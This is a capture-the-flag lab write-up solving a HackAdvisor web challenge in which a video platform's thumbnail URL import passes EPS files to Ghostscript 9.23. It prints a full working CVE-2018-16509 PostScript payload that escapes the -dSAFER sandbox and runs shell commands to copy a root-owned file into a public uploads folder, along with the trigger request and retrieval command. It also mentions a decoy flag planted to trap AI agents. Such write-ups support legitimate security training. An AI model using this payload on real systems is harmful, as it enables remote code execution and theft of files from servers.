Lab 343 — FrameCast — RCE via Ghostscript EPS Processing in Thumbnail Import
Lab 343 — FrameCast — RCE via Ghostscript EPS Processing in Thumbnail Import
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: eps_rendering_to_ocr_exfiltration, ghostscript_safer_bypass_via_failed_restore, honeypot_flag_detection, interaction_server_file_hosting, postscript_pipe_command_execution, url_import_ssrf_to_internal_service
Summary
Task: FrameCast video hosting platform with thumbnail import from URL; Pillow delegates EPS processing to Ghostscript 9.23 with -dSAFER. Solution: CVE-2018-16509 bypasses SAFER sandbox via failed restore in PostScript, enabling %pipe% command execution to exfiltrate /root/flag.txt through the web-accessible uploads directory.
Lab 343 — FrameCast — RCE via Ghostscript EPS Processing in Thumbnail Import — HackAdvisor
Description
FrameCast is a professional video hosting platform where creators upload videos, manage thumbnails, and track audience engagement. The platform supports importing thumbnail images from external URLs and automatically resizes them for different display formats. As a security researcher, you've been given access to test the platform. Your goal is to find and exploit a vulnerability in the image processing pipeline that allows you to read sensitive files stored on the server. The platform processes various image formats to generate thumbnails. Look carefully at what happens when the server fetches and processes images from external sources.
English summary: A Flask-based video hosting platform behind nginx/1.25.5. Users can manage video thumbnails via direct upload or URL import. The server accepts EPS files among other image formats and processes them with Pillow, which delegates EPS rendering to Ghostscript. The goal is to exploit the image processing pipeline to read sensitive files from the server.
Credentials: user@test.com / password123
Analysis
Reconnaissance
-
Login and exploration: Authenticated with provided credentials to a Flask application behind nginx/1.25.5. The platform has video management, thumbnail editing, and audience analytics features.
-
Thumbnail Manager at
/videos/v1e2f3g4/thumbnailprovides two methods for setting thumbnails:- Upload Image: Direct file upload accepting PNG, JPG, GIF, BMP, TIFF, EPS, WebP
- Import from URL: Server-side fetch and processing of images from external URLs
-
Honeypot detection: HTML source contained a decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in comments and hidden divs — a prompt injection trap designed to fool automated tools and AI agents. Correctly identified and ignored. -
Ghostscript version identification: Crafted an EPS file that renders the GS
revisionvariable as text, uploaded it, and used OCR (pytesseract) on the resulting thumbnail to read the version: Ghostscript 9.23. -
Processing pipeline: Pillow/PIL delegates EPS rendering to Ghostscript, invoking it with the
-dSAFERflag which restricts file I/O and pipe access.
Vulnerability
Ghostscript 9.23 is vulnerable to CVE-2018-16509 (discovered by Tavis Ormandy, Google Project Zero). This vulnerability allows bypassing the -dSAFER sandbox through a carefully crafted PostScript sequence:
save— saves the VM statelegal— changes page size (side effect: modifies internal state){ null restore } stopped— attempts a null restore which fails but leaves the interpreter in a state whereLockSafetyParamsis disabledrestore— restores VM state but with safety params unlockedputdevicepropswith%pipe%inOutputFile— executes arbitrary shell commands
The server runs as root (uid=0), so /root/flag.txt is directly readable.
Network constraints
The server is in a restricted network and cannot reach external hosts. However, the HackAdvisor platform provides an Interaction Server at http://interact/<instance-id>/ accessible from within the challenge instance, which can host files for the URL import feature to fetch.
Solution
Step 1: Craft the malicious EPS payload
Create payload.eps exploiting CVE-2018-16509 to bypass -dSAFER and execute a shell command that writes the flag to a web-accessible location:
postscript read-only • copy allowed%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%cat /root/flag.txt > /app/data/uploads/output.txt 2>&1; cat /flag.txt >> /app/data/uploads/output.txt 2>&1; find / -maxdepth 3 -name 'flag*' >> /app/data/uploads/output.txt 2>&1; id >> /app/data/uploads/output.txt 2>&1) currentdevice putdeviceprops
The key elements:
userdict /setpagedevice undef— removes the safesetpagedevicedefinitionsave/legal/{ null restore } stopped/restore— the CVE-2018-16509 bypass sequence that disablesLockSafetyParams%pipe%cat /root/flag.txt > /app/data/uploads/output.txt— pipes the flag content to a file in the web-accessible uploads directory- Additional commands enumerate flag locations and confirm uid=0 (root)
Step 2: Host the payload on the Interaction Server
Upload payload.eps to the Interaction Server provided by the HackAdvisor platform. The file becomes accessible at:
http://interact/<instance-id>/payload.eps
Step 3: Trigger processing via URL Import
Use the "Import from URL" feature on the Thumbnail Manager page, pointing to the Interaction Server:
http read-only • copy allowedPOST /videos/v1e2f3g4/thumbnail HTTP/1.1 Content-Type: application/x-www-form-urlencoded method=url&image_url=http://interact/<instance-id>/payload.eps
The server fetches the EPS from the Interaction Server and processes it through Pillow → Ghostscript. The response returns "Failed to process image" because putdeviceprops redirects Ghostscript's output to the pipe, corrupting Pillow's expected output format — but the shell command executes as a side effect before the error.
Step 4: Retrieve the flag
Access the exfiltrated data at the web-accessible uploads path:
bash read-only • copy allowedcurl https://<instance>.labs.hackadvisor.io/uploads/output.txt
Output:
FLAG{REDACTED}
cat: can't open '/flag.txt': No such file or directory
/root/flag.txt
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Failed approaches
| Approach | Result | Why it failed |
|---|---|---|
Direct %pipe% in uploaded EPS | Blocked | Pillow invokes GS with -dSAFER which blocks %pipe% |
Direct file read (/root/flag.txt) (r) file | Blocked | SAFER restricts file I/O to whitelisted paths |
| CVE-2024-29510 (GS format string via uniprint) | Failed | uniprint device initialization failed in this pipeline |
| External URL import (catbox, google, etc.) | "Could not fetch" | Server in restricted network, cannot reach external hosts |
data: URI with EPS | Processed but exploit failed | Same Pillow+SAFER path; putdeviceprops corrupts output |
.tempfile write bypass | Partial | Could write to /tmp/ and /root/ but couldn't read flag content |
setuserparams to unlock PermitFileReading | Blocked | LockSafetyParams prevents modification |
| CVE-2018-16509 via direct upload | "Failed to process" | putdeviceprops corrupts Pillow output — but command DID execute when fetched via URL import through Interaction Server |
| |